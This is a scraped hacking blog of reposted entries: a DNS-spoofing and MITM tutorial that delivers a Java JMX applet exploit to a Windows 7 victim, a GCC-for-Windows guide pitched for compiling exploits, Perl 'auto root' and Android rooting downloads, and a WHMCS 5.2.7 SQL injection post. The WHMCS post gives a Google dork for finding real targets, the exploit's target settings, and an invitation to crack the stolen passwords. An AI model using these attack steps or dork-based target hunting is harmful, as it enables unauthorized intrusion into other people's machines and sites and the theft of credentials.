<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCnHyZmr8Sgns0lwWeHOXETMZ7FgE3lsOhRijsK_KWJ4o9yanoE28A645gc-gr9FO1GB7Z2BiZHCUdyNFgQFHglLWA_gtvTCko2WN4syeYwkcf6BibDQenVDNC7IeUwh_Tj4D4frjlkLk/s1600/image366.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCnHyZmr8Sgns0lwWeHOXETMZ7FgE3lsOhRijsK_KWJ4o9yanoE28A645gc-gr9FO1GB7Z2BiZHCUdyNFgQFHglLWA_gtvTCko2WN4syeYwkcf6BibDQenVDNC7IeUwh_Tj4D4frjlkLk/s320/image366.png" width="320" /></a></div>
In this tutorial, i will show you power of <a href="https://en.wikipedia.org/wiki/DNS_spoofing" target="_blank">DNS Spoofing</a> attack in LAN network. 
LAN and Wifi networks can be easily compromised with <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack" target="_blank">MITM </a>(Man
 in the middle attack) and DNS Spoofing attacks. In this tutorial, i 
will show you how to use dns spoofing attack to control HTTP traffic of 
LAN networks. 
Here I am using java jmx applet which is vulnerable to remote code 
execution and using this exploit i easily bypassed my latest Fully 
updated Comodo Internet Security 2013. 
 
We have following scenario here: 
 
<div style="text-align: left;">
Attack Machine: Backtrack 5 R3 Victim Machine: Window 7 with Updated Comodo Internet Security 2013 Network:  LAN Exploit reference: http://www.exploit-db.com/exploits/24539/ </div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
</div>
 
 
 
 
<iframe allowfullscreen="" frameborder="0" height="315" src="//www.youtube.com/embed/ruFK1VBwcXg" width="560"></iframe>

<a href="http://exploiterz.blogspot.com/2013/07/hacking-windows-7-using-java-jmx-applet.html">Sumber</a>

Hacking Windows 7 using Java JMX Applet & DNS spoofing attack in LAN with Metasploit & Ettercap

In this tutorial, i will show you power of DNS Spoofing attack in LAN network. LAN and Wifi networks can be easily compromised with MITM...

GCC Compilers For Windows (Compile Your Code/Exploits Using Windows CMD)

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6L6LV5bicny2i_afm0lxjz9atb5zX44zkpXgZPVyn2TXIJZVG3fY69Fhycv7v9DCezDd_DY4GrFoAjmqaWDLoJNuxrCg0VxH_5t-jnsRRat3scfM1AIy_FlFgKHAqwMW4mU4GEEYgaz4/s1600/Gccegg.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6L6LV5bicny2i_afm0lxjz9atb5zX44zkpXgZPVyn2TXIJZVG3fY69Fhycv7v9DCezDd_DY4GrFoAjmqaWDLoJNuxrCg0VxH_5t-jnsRRat3scfM1AIy_FlFgKHAqwMW4mU4GEEYgaz4/s320/Gccegg.svg.png" width="271" /></a></div>
GCC can be installed in windows environment using following two methods. 
<ul style="text-align: left;">
<li>Cygwin</li>
<li>MinGW /MinGW Drived Third Party Tools</li>
</ul>
<h3 style="text-align: left;">
Cygwin:</h3>
If you will install it using Cygwin, then it will install a terminal of 
Cygwin where you can use your GCC compiler and other linux environment 
stuff. Cygwin is available in a standalone installer which can be 
downloaded and installed easily from the following link. 
Download and installation instruction are available on the very same same download link. 
 
Download Link: http://cygwin.com/install.html 
 
Note: GCC
 installed through Cygwin will be available in Cygwin terminal only.You 
can't use it in Windows CMD environment.If you want to install it for 
Windows CMD then try MinGW. 
<a href="http://www.blogger.com/null" name="more"></a> 
<h3 style="text-align: left;">
 MinGW:</h3>
 GCC for Windows is provided by MinGW currently. MinGW provides only a <a href="http://sourceforge.net/projects/mingw" target="_blank">32-bit</a> and <a href="http://sourceforge.net/projects/mingw-w64/" target="_blank">64-bit </a> compilers in two different projects. 
 There are some third party compiler suites are available too which have both of these projects available in them. 
TDM-GCC is one of those famous third party tool suites.It combines the most recent stable release of the
<a href="http://gcc.gnu.org/">GCC</a> toolset with the free
and open-source <a href="http://www.mingw.org/">MinGW</a> or
<a href="http://mingw-w64.sf.net/">MinGW-w64</a> runtime APIs
to create a
LIBRE
alternative to Microsoft's compiler and platform SDK. 
It can create 32-bit OR 64-bit binaries, for any version of Windows
since Windows 95. 
It comes with an easy-to-use single-file installer that creates a working
installation with just a few clicks, and can automatically update that
installation when new packages become available. 
 
Download Link for MinGW(32-bit): http://sourceforge.net/projects/mingw/ 
Download Link for MinGW-W64(64-bit): http://sourceforge.net/projects/mingw-w64 
Download Link for MinGW-Builds: http://sourceforge.net/projects/mingwbuilds/ 
Download Link for TDM-GCC: http://tdm-gcc.tdragon.net/download 
 
I am currently using TDM-GCC compiler suite. So, i would you to use it too.Download and install it.Now testing phase comes :) 
Lets create a simple C file and test it. 
Open your notepad and copy paste the following C code and save this file as test.c 
<blockquote class="tr_bq">
#include "stdio.h" main(){ printf("this is a test file"); } </blockquote>
 Now run your cmd and compile this code using following GCC command and check either its working or not. 
<blockquote class="tr_bq">
gcc test.c -o test </blockquote>
 I got the following output :) .Cheers its working perfectly. 
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH74ZTp2nb-0b6z6C9neNScsCS56n7vMHQiFRbISXBYBZ2DBILcJ_ekMOyuNVGYhBe7KUoVQr8O8K8Ki-7bwhQs71VNgMXNKKVzZRdevbBNv-CwyMCOzlypJJVtvySoDcHxkY1LImfOyw/s1600/gcc.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgH74ZTp2nb-0b6z6C9neNScsCS56n7vMHQiFRbISXBYBZ2DBILcJ_ekMOyuNVGYhBe7KUoVQr8O8K8Ki-7bwhQs71VNgMXNKKVzZRdevbBNv-CwyMCOzlypJJVtvySoDcHxkY1LImfOyw/s1600/gcc.png" width="400" /></a></div>
<a href="http://exploiterz.blogspot.com/2013/07/gcc-compilers-for-windows-now-compile.html">Sumber</a>

GCC Compilers For Windows (Compile Your Code/Exploits Using Windows CMD)

GCC can be installed in windows environment using following two methods. Cygwin MinGW /MinGW Drived Third Party Tools Cygwin: If yo...

[Perl] Auto Root 2010, 2011, 2012

Auto Root 2010, 2011, 2012 Download Here : http://pastebin.com/pVL4FFvw udah, gitu aja -_-"

Tutorial root Mito t720

<div class="separator" style="clear: both; text-align: center;">
<a href="http://w3.android-indonesia.com/images/images/gambarspek/Mito/mito-A720.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="http://w3.android-indonesia.com/images/images/gambarspek/Mito/mito-A720.gif" width="194" /></a></div>
 
Ok Droiders Langsung saja sipkan Amunisi ya 
<ol>
<li>download MtkDroidTools di windows 7 32 bit / windows xp (kalo 
windows 7 run as administrator caranya klik kiri filenya, selanjutnya 
ada pilihannya disana) di <a class="caption" href="http://cur.lv/ft4h5" target="_blank">sini</a></li>
<li>install drivers usb preloader</li>
<li>install MTK6577 USB + VCOM di <a class="caption" href="http://cur.lv/ft4h8" target="_blank">sini</a></li>
<li>cabut batre mito t720 kira kira 20 detik lebih amannya 1 menit</li>
<li>pasang kembali hp mito </li>
<li>colok ke pc / leptop</li>
<li>buka MtkDroidTools</li>
<li>tunggu sampai tab dikenali</li>
<li>pada menu backup, root pilih backup</li>
<li>upload recovery.img ke ane ntar ane bikinin cwmnya </li>
</ol>
 
 
Langkah langkah root :
 
<ol>
<li>pilih usb debugging, install from unknown source di mito agan</li>
<li>sambungin ke pc</li>
<li>sorot andronya ke bawah ntar muncul top bar di andro agan pilih yang media</li>
<li>tunggu sampai windows explorer mengenali device mito  / sampai keluar drive MITO di explorer agan</li>
<li>extrak rootnya dimana aja</li>
<li>windows 7 run as admin filenya xp buka biasa aja</li>
<li>pilih pilihan no 1</li>
<li>device akan booting</li>
<li>taraaa device agan udah di root gan</li>
<li>update supersu di playstore supaya tidak force restart supersunya</li>
<li>download Mobileuncle Tools di Playstore</li>
</ol>
Backup rom agan di direktori terpisah misalnya (rom ori, rom root) 
cara backupnya sama seperti di atas 
 
<ol>
<li>download cwm yang entar ane kasih lewat pm, kopikan ke sd agan</li>
<li>buka mobileuncle tools ijinkan supersu</li>
<li>pilih pilihan recovery</li>
<li>install recovery yang entar ane kasi di sd agan</li>
</ol>
 
manfaat root 
<ul>
<li>tidak menyebabkan rusak</li>
<li>kendali penuh tablet Droiders</li>
<li>bisa memainkan game hd yang sebelumnya tidak didukung oleh tablet Droiders</li>
<li>untuk memainkan fifa 2012 dan Spiderman HD, silakan instal install chainfire3d buat mainin </li>
</ul>
kekurangan root 
hilang garansi

Tutorial root Mito t720

Ok Droiders Langsung saja sipkan Amunisi ya download MtkDroidTools di windows 7 32 bit / windows xp (kalo windows 7 run as administrat...

[Full-disclosure] [CVE-2013-5702] Watchguard Server Center v11.7.4 Multiple Non-Persistent Cross-Site Scripting Vulnerabilities

This summary is not available. Please click here to view the post.

Autoroot Android, Tested Galaxy Tab 2 [GT-P3100]

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjb4od5U4Z-xfEihD1NZJFZ_vwcKPXKXlmeX61SJU_M7BJXx3aEZG9eZs-SEl7-MlxiEzZy65bzcLbdIEsZ8hJPPwnZJt-ihiuFPMXvgwEjb_flQpitEosG9cyNBj3wJ_ZV65N3m1XVocT/s1600/root-android-wallpaper.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjb4od5U4Z-xfEihD1NZJFZ_vwcKPXKXlmeX61SJU_M7BJXx3aEZG9eZs-SEl7-MlxiEzZy65bzcLbdIEsZ8hJPPwnZJt-ihiuFPMXvgwEjb_flQpitEosG9cyNBj3wJ_ZV65N3m1XVocT/s320/root-android-wallpaper.jpg" width="320" /></a></div>
<ol>
<li>Pertama, download dulu auto root  ya di sini:  <a href="http://cur.lv/f7rom" target="_blank">AutoRoot</a> </li>
<li>Extrak filenya, dan buka Odin3-v1.85.exe (sudah tersedia dalam file) </li>
<li>Pilih PDA dan arahkan ke CF-Auto-Root-espressorf-espressorfxx-gtp3100.tar.md5</li>
<li>Klik Start .</li>
</ol>
 
<blockquote class="tr_bq">
<ID:0/005> Added!! 
<OSM> Enter CS for MD5.. 
<OSM> Check MD5.. Do not unplug the cable.. 
<OSM> Please wait.. 
<OSM> CF-Auto-Root-espressorf-espressorfxx-gtp3100.tar.md5 is valid. 
<OSM> Checking MD5 finished Sucessfully.. 
<OSM> Leave CS.. 
<ID:0/005> Odin v.3 engine (ID:5).. 
<ID:0/005> File analysis.. 
<ID:0/005> SetupConnection.. 
<ID:0/005> Initialzation.. 
<ID:0/005> Get PIT for mapping.. 
<ID:0/005> Firmware update start.. 
<ID:0/005> recovery.img 
<ID:0/005> NAND Write Start!! 
<ID:0/005> cache.img 
<ID:0/005> RQT_CLOSE !! 
<ID:0/005> RES OK !! 
<ID:0/005> Removed!! 
<ID:0/005> Completed.. 
<OSM> All threads completed. (succeed 1 / failed 0)</blockquote>
HH akan reboot dan tadaa... Aplikasi SuperUser sudah ada, berarti, rooting success ! :) 
 
NB: Download Autoroot Samsung <a href="http://cur.lv/f7rnn" target="_blank">disini</a>

Autoroot Android, Tested Galaxy Tab 2 [GT-P3100]

Pertama, download dulu auto root ya di sini: AutoRoot Extrak filenya, dan buka Odin3-v1.85.exe (sudah tersedia dalam file) Pilih ...

WHMCS 5.2.7 SQL Injection

Silahkan download exploit nya <a href="http://localhost.re/res/whmcs.py">disini</a> 
untuk mencari target, silahkan gunakan dork : 
<blockquote class="tr_bq">
intext:"Powered by WHMCompleteSolution"</blockquote>
Jika telah menemukan target, silahkan register dulu, nah, kalau sudah terdaftar di whm target, 
sobat tinggal edit exploitnya, di bagian: 
<blockquote class="tr_bq">
url = 'http://situs_target.com' # wopsie dopsie user_email = 'email@email.com' # just create a dummie account at /register.php user_pwd = 'hacker' </blockquote>
Save, and run it ;) 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrwZbXX_lSWwE10BvbB5OzCEuyTPxTTfh1Bswhr-Q7r-DpSDr6-22tDYwZQGYZdpoGaK7LQBTK96fLhHviYpew2vH-olon6QEeW_hmzqoGBI9FwAyaJ0ptMlbKRgfqkJcbPxCUlDXX7X5A/s1600/whm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="161" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrwZbXX_lSWwE10BvbB5OzCEuyTPxTTfh1Bswhr-Q7r-DpSDr6-22tDYwZQGYZdpoGaK7LQBTK96fLhHviYpew2vH-olon6QEeW_hmzqoGBI9FwAyaJ0ptMlbKRgfqkJcbPxCUlDXX7X5A/s320/whm.png" width="320" /></a></div>
 
Password nya silahkan di crack sendiri, :)

WHMCS 5.2.7 SQL Injection

Silahkan download exploit nya disini untuk mencari target, silahkan gunakan dork : intext:"Powered by WHMCompleteSolution" Jik...